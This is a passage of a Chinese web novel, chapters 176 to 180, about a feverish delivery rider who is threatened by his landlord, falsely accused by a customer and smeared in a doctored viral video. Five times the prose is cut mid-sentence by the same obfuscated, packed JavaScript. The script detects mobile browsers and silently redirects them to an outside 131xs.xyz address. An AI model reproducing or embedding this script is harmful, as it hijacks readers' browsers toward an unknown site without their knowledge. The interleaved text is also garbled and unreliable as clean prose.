人生一片灰暗,看不到半点光。 萧青鸾静静地看着他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218957|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着这个昨天天还强撑着跟她定规矩,跟邻居赔礼道歉,甚至在超市里被气得半死也要买冰淇淋哄她的男人,此刻像一只被遗弃的小兽,蜷缩在沙发上,浑身散发着颓败的气息。 她不懂什么叫房租,也不懂什么叫赔偿款。 她走到沙发边,犹豫了一下。 然后,她学着电视剧里那些话,伸出手,有些生硬地拍了拍他的肩膀。 动作很轻,带着一丝小心翼翼的试探。 顾云舟身体一僵,没有抬头。 只听见萧青鸾清音在他头顶响起。 “先生勿忧。” 顾云舟:“……” 别,大姐我求你别。 “区区一介收租小吏,竟敢在先生面前如此猖狂,实在是胆大包天。” 顾云舟把脸埋得更深了。 完了,她又开始了。 萧青鸾完全没察觉到他的内心崩溃,自顾自地继续说道,语气里甚至带上了一丝运筹帷幄的帝王之气。 “此等刁民,无非是见先生落魄,便想欺压一二。先生如今身子不适,不宜与此等人费神。” “明日,我亲自去会会他。” 顾云舟猛地抬起头,满脸呆滞地看着她。 只见萧青鸾微微扬起下巴,浅笑着。 她的脑海里,已经开始飞速盘算起来。 是该用“恩威并施”之术,先许以重利,再加以敲打?还是用“离间之计”,让他与其他租客产生矛盾,自顾不暇?亦或是直接“敲山震虎”,寻个由头? 嗯,还是怀柔之策更为稳妥。 看着她那副表情,顾云舟只觉得眼前一黑。 完了没救了,给我一个痛快吧,太折磨人啦 第一百七十六章 双倍 顾云舟猛地抬起头。 他的脑子被高烧烧成了一锅浆糊,嗡嗡作响。 但他听清了。 那画面太美,他不敢想。 不行。 绝对不行。 再让她自由发挥下去,明天上门的大概就不是房东,而是穿着制服的社区**了。 他强行撑起摇摇欲坠的身体。 “我来。” 顾云舟推开萧青鸾还搭在他肩上的手,声音沙哑。 他晃晃悠悠地站直,扶着墙,一步一步挪向门口。 萧青鸾愣住了,想跟上去,却被他一个眼神制止。 顾云舟打开了门。 门外,房东王德发正跟他那几个狐朋**吹牛,准备下楼打麻将。 看到顾云舟出来,王德发斜了他一眼,满脸不屑:“怎么,小子,想通了?准备现在就卷铺盖滚蛋?” 他身后的几个中年男人也跟着哄笑起来。 顾云舟没理会他们的嘲讽。 他靠着门框,眼睛直勾勾地盯着王德发。 “一个星期。” 他的声音不大,却清晰地传到每个人耳朵里。 王德发掏了掏耳朵,以为自己听错了:“哈?你说啥?” “我说,给我一个星期时间。”顾云舟重复道,语气没有一丝波澜,“一个星期后,上个月的房租,还有楼下的赔偿款,我一分不少地给你。” 王德发像是听到了本年度最好笑的笑话,和他那几个牌友笑得前仰后合。 “一周?小子你睡醒了没?你拿什么给?就凭你送外卖那一天两三百块钱?别逗了!” 顾云舟的眼神没有丝毫动摇。 他看着王德发,缓缓地,一字一顿地说道:“一周后,我不仅把欠的钱给你。下个月的房租,我给你双倍。” 空气瞬间安静了。 王德发的笑声卡在了喉咙里。 他身后的牌友们也停止了起哄,面面相觑。 双倍? 这片城中村的房租一个月一千二,双倍就是两千四。再加上欠的一千二和两千赔偿款,那就是五千八百块。 三天挣五千八? 这小子疯了吧? 王德发眯起眼睛,重新审视着眼前的顾云舟。 这小子烧得脸色惨白,嘴唇干裂,看着就像一阵风就能吹倒。可他那双眼睛,黑得吓人,里面没有半点开玩笑的意思。 那是一种冷静到近乎冷酷的眼神,仿佛一切尽在掌握。 王德发混迹市井多年,自认看人很准。眼前这小子的状态,根本不是一个走投无路的外卖员该有的。 要么是疯了,要么……就是真有底气。 一个牌友凑到王德发耳边低声道:“老王,别听他吹牛逼,这小子指定是想拖延时间。” 另一个也说:“对,万一他半夜跑了,你找谁要去?” 王德发心里也在打鼓。 可那“双倍租金”在他心里的算盘上噼里啪啦地响。 万一呢? 万一这小子不是吹牛逼呢?可能是家里拆迁了,或者中了彩票,钱还没到账? 多等几天,最多就是这间破房子多空置几天,损失不大。 可要是赌对了,白赚一千二啊! 贪婪,最终压倒了理智。 王德发恶狠狠地指着顾云舟的鼻子,唾沫星子都快喷到他脸上了。 “好!老子就信你一回!就给你一周!” “一周后中午十二点!你要是拿不出钱来,我不止让你滚蛋,我他妈打断你的腿!” 撂下狠话,王德发带着他那帮牌友,骂骂咧咧地走了。 脚步声远去,楼道里重归寂静。 危机,暂时解除了。 顾云舟紧绷的神经,在那一瞬间松弛了下来。 眼前一黑,身体猛地晃了一下。 “先生!” 一双冰凉的手及时扶住了他。 是萧青鸾。 她不知何时已经站到了他身后,满是担忧。 顾云舟再也撑不住了。 他把全身的重量都压在了身旁这个瘦弱的女孩身上,脑袋一沉,彻底失去了意识。 触手滚烫。 萧青鸾被他身上惊人的温度吓了一跳。 她咬着牙,用尽全身力气,几乎是半拖半抱着,将这个比她高出一个头的男人,一步一步,艰难地挪回了卧室。 “砰”的一声。 当顾云舟的身体砸在床上时,她也跟着腿一软,瘫坐在了床边,大口大口地喘着气。 屋里只剩下两人粗重的呼吸声。 萧青鸾看着床上昏睡过去的男人。 他脸色苍白如纸,眉头紧锁,干裂的嘴唇还在无意识地翕动着。 悔恨和后怕将她淹没。 是她。 都是她搞砸的。 如果不是她弄坏了那个叫马桶的东西,就不会有两千块的赔偿。 如果不是她自作主张熬了那锅“神药”,他的病也不会拖到现在,烧得这么厉害。 她以为自己是在帮他,是在保护他。 可到头来,把他逼到绝境,却是自己。 她在这个世界,好像什么都做不好。 萧青鸾慢慢俯下身贴在他身上。 “夫君……” 她用几不可闻的声音,在他耳边轻轻唤了一声。 “对不起。” “朕……我搞砸了。” 然而,道歉并不能让高烧退去。 顾云舟的身体越来越烫,呼吸也变得急促起来,开始说胡话。 萧青鸾握住他滚烫的手,心急如焚。 不能再靠自己了。 她的那些东西,在这里根本没用。 她忽然想起了什么,跌跌撞撞地跑到客厅。 翻开了顾云舟那个被雨水泡过的钱包。 钱包里,除了几张发皱的零钱,还有一张小卡片。 卡片上印着着一行字:社区便民诊所,赵医生,以及一串电话号码。 医生! 萧青鸾的眼睛猛地一亮。 她抓起那部备用手机,按照卡片上的号码一个一个地按了下去。 电话“嘟”了几声后,被接通了。 “喂,赵家诊所。”一个略显疲惫的男声传来。 萧青鸾深吸一口气,努力回忆着顾云舟和别人说话的语气,用尽毕生所学的现代词汇,焦急地开口。 “这里……人,病了!很烫!” 电话那头的赵医生显然愣了一下:“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226071|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …大妹子,你慢慢说,什么情况?地址在哪?” “地址……”萧青鸾看了一眼门牌号,“柳巷路,十八号,三……三零二!” 她越说越急,古代帝王的命令口吻不自觉地就冒了出来。 “你,速来!他快不行了!若是迟了,我、我……” 她想说“我诛你九族”,但话到嘴边又硬生生咽了回去,改口道:“……我就给你差评!” 电话那头陷入了长久的沉默。 大概过了五秒,赵医生才叹了口气,无奈地说道:“行行行,别给差评,我马上就到。” 等待的每一分钟,都像一个世纪那么漫长。 终于,敲门声响起。 来的是一个四十多岁的中年男人,戴着眼镜,背着一个老旧的医药箱。 他一进屋,就闻到了一股难以言喻的诡异气味,忍不住皱了皱眉。 但他没多问,径直走到床边,开始给顾云舟做检查。 量体温,三十九度八。 听心肺,检查瞳孔。 动作麻利而专业。 萧青鸾紧张地站在一旁,大气都不敢出,看着那根细长的针管抽满透明的药液,又刺入顾云舟的手臂。 一套流程下来,赵医生擦了擦额头的汗。 “高烧引起的病毒性感染,加上疲劳过度,营养不良,都赶到一块儿了。” 他一边收拾东西,一边从药箱里拿出几包药片。 “这是退烧药和消炎药,等他醒了让他按时吃。 这几天多喝热水,吃点清淡的,别再折腾了。” 说完,他抬起头,看了一眼这个简陋得家徒四壁的屋子,又看了看眼前这个穿着不合身的大T恤,满脸憔悴却难掩绝色的女孩。 他忍不住叹了口气。 “年轻人,我知道你们生活不容易。但是身体是本钱啊。” “他都烧成这样了,怎么不早点送医院?你们……到底是怎么照顾自己的?” 最后这一句,狠狠砸在了萧青鸾的心上。 她彻底愣住了。 是啊。 到底是怎么照顾自己的? 她看着病床上,因为注射了药物而呼吸渐渐平稳的顾云舟,一个念头前所未有地清晰起来。 她没有照顾自己。 是他在照顾她。 是他送外卖赚钱,是他买回食物,是他面对邻居的刁难,是他顶住房东的威胁,是他被自己气得半死,还要买一支冰淇淋来哄她。 而她呢? 她只会用“朕”的口吻发号施令,只会用她那套可笑的帝王思维把事情越搞越糟。 没有了他,自己在这个世界,别说称帝,恐怕连一顿饱饭都吃不上。 赵医生从顾云舟钱包里抽走了两百出诊费,又叮嘱了几句,便摇着头离开了。 门被轻轻关上。 屋子里再次恢复了安静。 萧青鸾缓缓走到床边坐下,静静地看着顾云舟沉睡的脸。 窗外,天色已经蒙蒙亮了。 新的一天即将开始。 可一周之后,那五千八百块钱,又该从哪里来呢? 不能再给他添乱了。 她看着他, 先生。 这一次,换我来。 第一百七十七章 恶意投诉 意识回归 顾云舟的眼皮挣扎了好几次才勉强掀开一条缝。 天花板还是那个天花板,空气里却不再是那股能把人直接送走的恐怖酱油味。 取而代之的是淡淡的消毒水气息。 他偏了偏头。 然后,他就看见了趴在床边的萧青鸾。 她就那么枕着自己的手臂睡着了,身上还穿着他那件宽大的T恤,长发凌乱地铺在床沿。长长的睫毛上似乎还挂着未干的泪痕和乌青,显然是一夜未睡。 他下意识地抬起手,想帮她把黏在脸颊上的一缕发丝拨开。 可指尖还没碰到她,就想起了昨天的事。 他猛地坐了起来。 这个动作太大,牵扯得他一阵头晕眼花,差点又栽回去。 “唔……” 萧青鸾被惊醒了,她猛地抬起头,眼睛里还带着一丝刚睡醒的迷茫,但在看清是顾云舟后,那丝迷茫立刻变成了紧张。 “先生!”她站起来,扶住他的胳膊,“你病还未好,要去哪里?” 顾云舟看着她布满血丝的眼睛,他深吸一口气,压下喉咙里的干咳。 “我必须去挣钱。” 他耐心地对她解释,语气里带着一种连他自己都没察觉到的疲惫。 “不然,我们就要睡大街了。你在家等我,听话。” “听话”两个字,他说得又轻又快,像是一种习惯。 萧青鸾扶着他的手僵住了。 她看着他从床下摸出那身洗得发白的蓝色骑手服,动作有些踉跄地往身上套。 他的背影很单薄,肩膀不宽,却好像撑着一座看不见的山。 她张了张嘴,想说“我来”,想说“我可以”,可话到嘴边,却是一个字也吐不出来。 她能做什么? 在这个世界,她连最简单的生火做饭都做不好,只会给他添乱。 顾云舟穿好衣服,回头看了她一眼,眼神很复杂。 “我等会做点粥,不管好不好吃,记得吃了它。还有,别再乱碰任何东西。” 说完,他没再看她。 来到厨房煮了粥,跟她说开了就把火关了之类的话,拉开门走了出去。 门被轻轻带上,隔绝了两个世界。 萧青鸾站在原地,看着那锅熬得还没熟的粥,米是米水是水的“粥”,眼眶一热。 …… “**!顾云舟?你他m是鬼啊?!” 外卖站点里,站长张伟叼着烟,看到推门进来的顾云舟,惊得烟头都掉在了地上。 “你小子不是烧得快熟了吗?怎么跑来了?回去躺着!” 顾云舟的脸色苍白得像纸,嘴唇也没什么血色,整个人看着就像一阵风就能吹倒。 他摆了摆手,撑着桌子说:“张哥,我没事了。给我开工吧。” “开个屁的工!”张伟瞪着眼,“你这德性出去,别他妈送个餐直接**在路上,老子还得给你收尸!” “我真的没事。”顾云舟的声音不大,但异常坚定,“张哥,我急用钱,非常急。 求你了,给我派单吧,把单子最多的那条线给我。” 张伟盯着他看了足足十秒,那双总是骂骂咧咧的眼睛里,难得地闪过一丝不忍。 他知道这小子平时有多拼,不是被逼到绝路,绝对不会拿命来开玩笑。 他重重地叹了口气,从屁股兜里掏出皱巴巴的烟盒,又点上一根,猛吸了一口。 “行,你小子是真牛逼。” 他把烟雾吐在屏幕上,然后在系统后台操作了几下。 “市中心那条‘魔鬼线路’,今天归你了。商场写字楼扎堆,单子多,路况也最堵,一趟下来能把人腿跑断。你要是能扛下来,今天光奖励就能多拿一百多。” “谢谢张哥。” 顾云舟没多说废话,转身就走。 他跨上那辆破旧的电瓶车,拧动车把。 老旧的电机发出一阵不堪重负的嗡鸣,载着他冲进了早高峰的车流里。 从上午八点到晚上八点。 整整十二个小时,顾云舟没有一秒钟的停歇。 他在拥堵的车流里见缝插针,他在写字楼的无数个电梯间里焦急等待,他在一个个商家门口催促出餐。 汗水湿透了骑手服,又被风吹干。 胃里空得发慌,他就趁着等餐的几十秒,把早上揣在兜里的两个馒头塞进嘴里,就着矿泉水硬往下咽。 身体的疲惫已经到了极限,全凭一口气吊着。 他不敢停。 他只能跑,不停地跑。 …… 出租屋里。 萧青鸾主动走进了厨房。 她看着那锅失败的粥,沉默了很久,然后把它倒掉,重新淘米,开火。 她想起赵医生说的“要清淡饮食”,于是把昨天买的鸡蛋敲开,笨拙地搅着蛋液,试图做一碗鸡蛋粥。 这一次,米粒终于煮开了花,虽然还是有些糊底,但总算有了粥的样子。 她盛出一碗,吹了又吹,尝了一口。 没放盐,淡而无味,还有一股淡淡的焦糊气。 可她还是小口小口地,把它全部喝了下去。 吃完,她把碗筷洗得干干净净,放回原处。 然后,她就坐在客厅那张破旧的沙发上,看着窗外。 从白天,等到黑夜。 她像一尊望夫石,一动不动,默默计算着时间。 手机被她放在手边,屏幕上是她偷偷拍下的一张照片。 是顾云舟早上出门时,那个背影。 夜里九点,窗外忽然响起轰隆的雷声。 雨说来就来, 豆大的雨点噼里啪啦地砸在窗户上,很快就连成了一片雨幕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226072|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将整个城市都笼罩在一片水汽之中。 萧青鸾的心,猛地揪紧了。 她站起身,走到窗边,死死地盯着楼下那条被雨水冲刷的巷子。 他还没回来。 …… 夜里十点,暴雨倾盆。 顾云舟的手机屏幕上跳出今天的最后一单。 送往小区的。 这是一个光听名字就知道很高档的地方。 顾云舟抹了一把脸上的雨水,朝着目的地冲去。 雨太大了,骑行镜上全是水雾,视线模糊不清。他只能凭着肌肉记忆和导航的语音提示,在积水的路面上艰难前行。 好不容易赶到小区门口,保安却把他拦了下来,说外卖电瓶车一律不准入内。 顾云舟只能把车停在外面,提着餐盒,徒步往里跑。 小区很大,绿化好得像个公园,但也意味着楼栋之间离得特别远。 客户吴先生提供的地址信息很模糊,只写了“18栋”,没写单元和房号。 顾云舟站在18栋楼下,浑身都在滴水。他拨打客户的电话,一遍,两遍,三遍…… 电话通着,但始终无人接听。 雨水顺着他的头发流进眼睛里,涩得发疼。 他看着手机上即将超时的红色倒计时,心里那股无名火“噌”地一下就冒了起来。 但他不能发作。 一个差评,扣五十。 一个投诉,扣两百。 他赔不起。 他只能一咬牙,从一单元开始,一层一层地往上爬,挨家挨户地看门牌号。 这个该死的18栋,足足有三十二层! 当他满身泥水,狼狈不堪地在二十七楼找到正确的门牌时,距离订单超时,只剩下不到一分钟。 他按响门铃。 过了好一会儿,门才被打开一条缝。 开门的是个二十多岁的男人,头发染成黄色,一脸阴沉,穿着身名牌睡衣。 他就是吴先生。 吴先生靠在门框上,冷冷地瞥了一眼顾云舟,又低头看了看自己的名牌手表,一言不发。 顾云舟大口喘着气,把手里的餐品递过去。 “您好,您的外卖。” 吴先生慢悠悠地接过餐品,眼神像是在看一堆垃圾。 然后,“砰”的一声,当着顾云舟的面,重重地关上了门。 全程没有没有一个正眼。 顾云舟的心里,升起一股极其不祥的预感。 他拿出手机,正准备点击“确认送达”。 就在这时,手机屏幕猛地一震。 一条鲜红的系统通知弹了出来。 【您因“恶意超时”已收到客户投诉,本单判定为无效配送,并处罚金200元。同时,您的账号将被封禁24小时。】 (把我之前的经历给写进去了) 第一百七十八章 碰瓷的 雨下了一整夜。 第二天清晨,顾云舟是被痛醒的。 他强撑着坐起来,看了一眼窗外。 天色阴沉,像是随时还会再下一场雨。 他不能再休息了。 账号封禁二十四小时,今天解封后,他必须把昨天损失的钱加倍赚回来。 那个五千八还在那呢,虽然可以一走了之,但走了又不知道去哪。 加上还带着一个人,总不可能带她去睡桥洞吧。 强忍疲惫,顾云舟换上还没完全干透的骑手服,脚步虚浮地走出了出租屋。 …… 柳巷路站点。 顾云舟刚把电瓶车停好,就被站长张伟叫住了。 “顾云舟,你过来一下。” 张伟的脸色很难看。 顾云舟心里咯噔一下,跟着他走进了那间烟雾缭绕的办公室。 “啪!” 一部手机被重重地拍在桌上。 张伟指着屏幕,声音里压着火:“你自己看!” 顾云舟凑过去,只看了一眼,火气一下就上来了。 手机屏幕上,是一条投诉。 投诉人:吴某。 【投诉内容:骑手恶意超时,导致餐品冰冷无法食用。本人致电询问,骑手态度极其恶劣,不仅拒不承认错误,还对我进行言语辱骂,出言不逊!】 投诉内容下面,还有一行加粗的备注。 【要求:赔偿餐品损失、精神损失费共计五百元!并强烈要求平台开除此等害群之马,以正风气!】 恶意超时? 言语辱骂? 他昨晚连对方一个正脸都没看着,全程除了“您好您的外卖”就没说过第二句话! 这他妈简直是睁着眼睛说瞎话! “张哥,这不是我!我昨晚……” 顾云舟急得脸都白了,他想解释,想把昨晚自己的经过说出来。 “你别跟我说!”张伟烦躁地摆摆手,掐灭了烟头,“我信你,平台信吗?客户信吗?” 他指着那条投诉,无奈又疲惫地说道:“平台有平台的规矩,客户就是上帝。现在人家一口咬死你骂他了,你有什么证据证明你没骂?” 证据? 他上哪找证据去? 外卖员送餐,身上又没带录音笔! “现在两条路。”张伟竖起两根手指, “第一,你自掏腰包,把这五百块钱赔了,然后去跟客户打电话,求爷爷告奶奶地让他撤销投诉。能不能成,看你运气。” “第二,平台先行垫付,安抚客户。 但这笔账会记在你头上,你这个月的绩效评级完蛋,奖金一分没有。 而且有了这条严重投诉的案底,系统随时可能把你强制清退。” 张伟看着他惨白的脸,叹了口气:“小顾,我知道你缺钱,可这行就是这样,受了委屈也得自个儿咽下去。你想想吧,怎么选。” 顾云舟站在原地,一句话也说不出来。 五百块。 他现在全身上下加起来都不到三百块。 他拿什么赔? 就算赔了,那个性吴就会撤销投诉吗? 从对方昨晚那副高高在上的嘴脸来看,他根本就是来找茬的。 可不赔,工作就没了。 工作没了,他和萧青鸾下周就得睡大街。 这是一个死局。 一个根本无解的死局。 **自己是怎么走出站长办公室的,浑浑噩噩地骑着车回到那个家。 推开门。 一股淡淡的米粥香气飘了过来。 萧青鸾正坐在桌边,看到他回来,眼睛一亮,立刻站起身,端着一碗热气腾腾的粥迎了上来。 “先生,你回来了。” 她的声音里带着不易察的雀跃和紧张,“我……我煮了粥,你快趁热喝。” 碗里的粥熬得很稠,上面还卧着一个黄澄澄的荷包蛋。 顾云舟看着她那双充满期盼的眼睛,那根紧绷的神经,终于“啪”的一声,断了。 他把头盔随手扔在地上,一屁股坐在沙发上,双手**头发里,痛苦地弓下了身子。 所有的委屈,愤怒,不甘,在这一刻涌了上来。 萧青鸾被他的反应吓了一跳。 她小心翼翼地把碗放在桌上,走到他身边,轻轻蹲下,仰头看着他。 “先生,出什么事了?” 顾云舟没有抬头,声音沙哑得像是砂纸在摩擦。 “我……可能要被开除了。” 他用最简短的语言,把刚刚在站点发生的一切,原原本本地说了出来。 他没指望萧青鸾能听懂,更没指望她能提供什么帮助。 他只是撑不住了,想找个地方,把心里的话倒出来而已。 安静的客厅里,只有他压抑而疲惫的叙述声。 当他说完最后一个字时,整个房间陷入了死一般的寂静。 过了许久,萧青鸾才缓缓开口。 “岂有此理!” “砰!” 她猛地站起身,将桌上的那碗粥重重地顿在桌面上,滚烫的粥汤溅出来,烫得她手背一片通红,她却恍若未觉。 那张绝美的脸上,再也没有了方才的小心翼翼和温柔。 “区区刁民,竟敢如此污蔑构陷于你!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226597|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“先生,将此人住处告我!” “我,亲自去抄了他家!再把他拖到菜市口,当众廷杖一百,看他还敢不敢如此放肆!” 这番霸气又完全脱离现实的话,劈进了顾云舟混乱的脑子里。 他缓缓抬起头,看着眼前这个满脸煞气的少女,心里那股憋屈到快要**的情绪,竟然莫名其妙地……消散了一点。 是啊。 跟一个动不动就要“抄家”的家伙比起来,被客户投诉罚款五百块,好像也不是什么的大事了。 一股荒诞的暖流,在他冰冷的心里悄然流淌。 他知道她什么都做不了,也知道她说的话有多么不切实际。 可在这个世界上,当所有人都让他“咽下委屈”的时候,只有她,会因为他的委屈而生气, 会用她那套离谱的方式,毫无保留地站在他这边。 顾云舟紧绷的嘴角,不受控制地向上扯了一下。 “别……这里是现代,不能随便抄家。” 他有气无力地解释道:“我们有法律,**是犯法的,要坐牢。” 顾云舟无力吐槽,只能捂住了她的嘴,示意这个话题到此为止。 他现在没力气跟她科普现代法律体系。 就在他一筹莫展,准备思考是不是真的要拉下脸去借钱的时候,口袋里的手机突然震动了起来。 他掏出来一看,是个陌生号码。 犹豫了一下,他还是接通了。 “喂?是……是顾云舟吗?” 电话那头,传来一个有些怯懦的年轻男声。 “我是,你是?” “我是小李啊!跟你一个站点的,昨天还跟你一起等餐来着。” 顾云舟想了想,有点印象,是个刚来没多久的新人,二十出头的样子。 “哦,有事吗?” “那个……舟哥,”小李的声音压得很低,像是在做贼,“我听说你被那个吴某给投诉了?” 顾云舟心里一沉:“嗯。” “我……我就是想跟你说,”电话那头的小李支支吾吾的,“那个吴凯,他是个惯犯!是咱们这片有名的‘碰瓷王’!” “什么?”顾云舟猛地坐直了身体。 “真的!他专门挑下雨天或者用餐高峰期下单,然后就故意不接电话,或者留个错的地址,等你超时了,他就反手一个投诉,敲诈勒索!” 小李的声音里带着一丝后怕:“上个月我就着了他的道,被他讹了两百块才肯销案。还有好几个新来的兄弟都吃过他的亏,但他做得很高明,我们根本拿不出证据,最后都只能自认倒霉。” “他就是个专挑新人下手的渣子!” 第一百七十九章 短视频 xx小区。 三个蓝色大字在阴沉的天空下显得格外冰冷。 顾云舟停下破旧的电瓶车,从车座下摸出一瓶矿泉水和一包兰塔山。 他深吸一口气,吐出的白雾被吹得风中散。 保安亭里,一个穿着制服的中年保安正打着哈欠,眼角挂着泪花。 “大哥,辛苦了。”顾云舟递上水和烟,脸上挤出一个疲惫的笑,“新来的,跑这片儿,跟您打听点规矩。” 保安瞥了他一眼,接过东西,态度缓和不少。 “规矩?规矩就是别把车停大门口,还有,别跟业主吵架。” “明白明白。”顾云舟点头哈腰,“听说咱们小区有几户特别……讲究的?” 保安拧开瓶盖灌了一口水,嗤笑一声:“何止是讲究。17栋那个吴什么的,你小子可得当心点。 上个月就投诉走了一个新人,说人家汤洒了,硬是讹了三百。” 顾云舟的心猛地一沉。果然是他。 他的视线不经意地扫过保安亭内部,瞬间定格。 保安身后,一排分割成十几块小屏幕的显示器亮着。大堂入口,电梯轿厢,地下车库,还有……楼层走廊。 每一块屏幕的右上角,都有一个红点在闪烁。 高清摄像头。 顾云舟的呼吸停滞了一秒。 “大哥,咱们这……安保真到位啊。”他指了指屏幕,声音有些发干。 “那是,高档小区。”保安挺了挺胸膛,有些得意,“三百六十度无死角,出了事儿,物业跑不了。” 顾云舟的眼睛死死盯着其中一个屏幕。上面清晰地显示着一条铺着地毯的走廊,一扇深棕色的防盗门,门牌号是……1704。 就是这里。 他猛地转身,快步走到一个角落,掏出手机。 电话接通了。 “喂?顾云舟?你小子还敢打电话来?”张伟粗暴的声音从听筒里传来。 “站长!有证据!”顾云舟压低声音,语气却透着一股压不住的兴奋,“我送餐那栋楼,从大堂到他家门口,全程都有监控!高清的!” 电话那头沉默了。 “监控能证明我交接餐品的时候,包装是完好的!更能证明我一句话都没骂过他!”顾云舟一口气说完,胸口剧烈起伏着。 张伟的声音透着怀疑:“物业能让你一个外卖员随便看监控?” “所以要站点出面!”顾云舟的声音提高了几分,“以公司的名义,向物业申请调取!这是最直接的证据!” 又是一阵沉默。 “……行吧。”张伟的声音听起来没那么暴躁了,“我跟上面汇报一下,你小子别抱太大希望。” “谢谢站长!” 挂断电话,顾云舟靠在墙上,缓缓滑坐下去。 他抬头看着灰蒙蒙的天,两天来第一次感觉这天没那么压抑了。 有救了。 回到出租屋,一股淡淡的米粥香味飘来。 萧青鸾穿着他的大T恤,正坐在小饭桌前,面前摆着两碗白粥,旁边还有一碟酱菜。 看见他回来,她的眼睛亮了一下。 “事情,可能要解决了。”顾云舟脸上露出笑容,他把监控的事情简单说了一遍。 萧青鸾听得一知半解,但她看懂了他脸上的轻松。 “先生,吃饭。”她把一碗粥推到他面前。 屋子里的气氛前所未有的轻松。顾云舟端起碗,温热的粥滑入胃里,驱散了身体里的寒气。 就在这时。 嗡,嗡嗡嗡 他的手机在桌上疯狂震动起来,屏幕瞬间被几十条微信消息刷屏。 全是站点同事群里的。 顾云舟心里咯噔一下,一种不祥的预感涌上心头。 他放下碗,点开群聊。 “**!舟子你上热门了!” “这孙子也太不是东西了!还搞这套!” “@顾云舟,快看链接!” 一条来自小李的链接被顶在最上面。 顾云舟的手指悬在屏幕上,深吸一口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226598|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了下去。 页面跳转,一个熟悉的APP图标闪过,云端短视频平台。 一个加粗加黑的血红色标题,狠狠刺入他的眼睛。 《天理何在!外卖小哥深夜辱骂威胁单身住户,平台至今不作为!》 视频开始播放。 画面里,是他自己的脸。在楼道灯光下显得有些阴沉。 镜头被刻意拉近,放大了他脸上的不耐烦。 紧接着,是一个男人带着哭腔的画外音。 “……集霸们,谁懂啊,我就是点个外卖,超时了我就给了个差评,他就在门口堵着我不走,骂我,还威胁我,说知道我住哪儿,让我小心点……我一个人住,我好害怕……” 视频被剪辑得七零八落,他递餐的动作被放慢,配上悲情的音乐,每一个正常的动作都显得充满恶意。 而他那句“有任何问题可以联系平台”,后半句被掐掉,只剩下前言不搭后语的“有问题”三个字。 视频下方,评论区已经炸了。 “**他!这种垃圾就该滚出这个行业!” “平台呢?装死吗?必须开除!” “看着就不是好人,一脸凶相!” “地址是xx小区吧?姐妹们小心了,点外卖注意安全!” “已转发,不信谣不传谣,坐等平台反转……算了,我编不下去了,严惩!” 点赞数,两万三。 评论,五千七百条。 转发,一万一。 顾云舟感觉全一股火直冲天灵盖。 对方竟然直接掀了桌子,用**的刀,捅向了他。 手机从他无力的手中滑落,摔在桌上,发出“啪”的一声脆响。 屏幕上,恶毒的评论还在一条条向上滚动。 萧青鸾看着他瞬间煞白的脸,放下了筷子。她不懂那个发光的小盒子里是什么,但她看懂了他的表情。 嗡,嗡 手机再次震动起来。 屏幕上跳动着两个字。 张站长。 第一百八十章 ** 顾云舟的手指僵在半空,屏幕上“张站长”三个字跳动着。 他深吸一口气,划开接听键。 “喂,站长。”他的声音干涩。 “顾云舟。”张伟的声音平静得可怕,“总部的电话,刚刚打到我这里了。” 顾云舟的心脏猛地一沉。 “公关部启动了紧急预案,法务部也在跟进。你那条视频,现在是平台热搜第三。”张伟的语速不快,每一个字都传进顾云舟的耳朵里,“影响极其恶劣。” “站长,那是剪辑的!我有监控……” “监控?”张伟冷笑一声,打断了他,“现在谁还看监控? 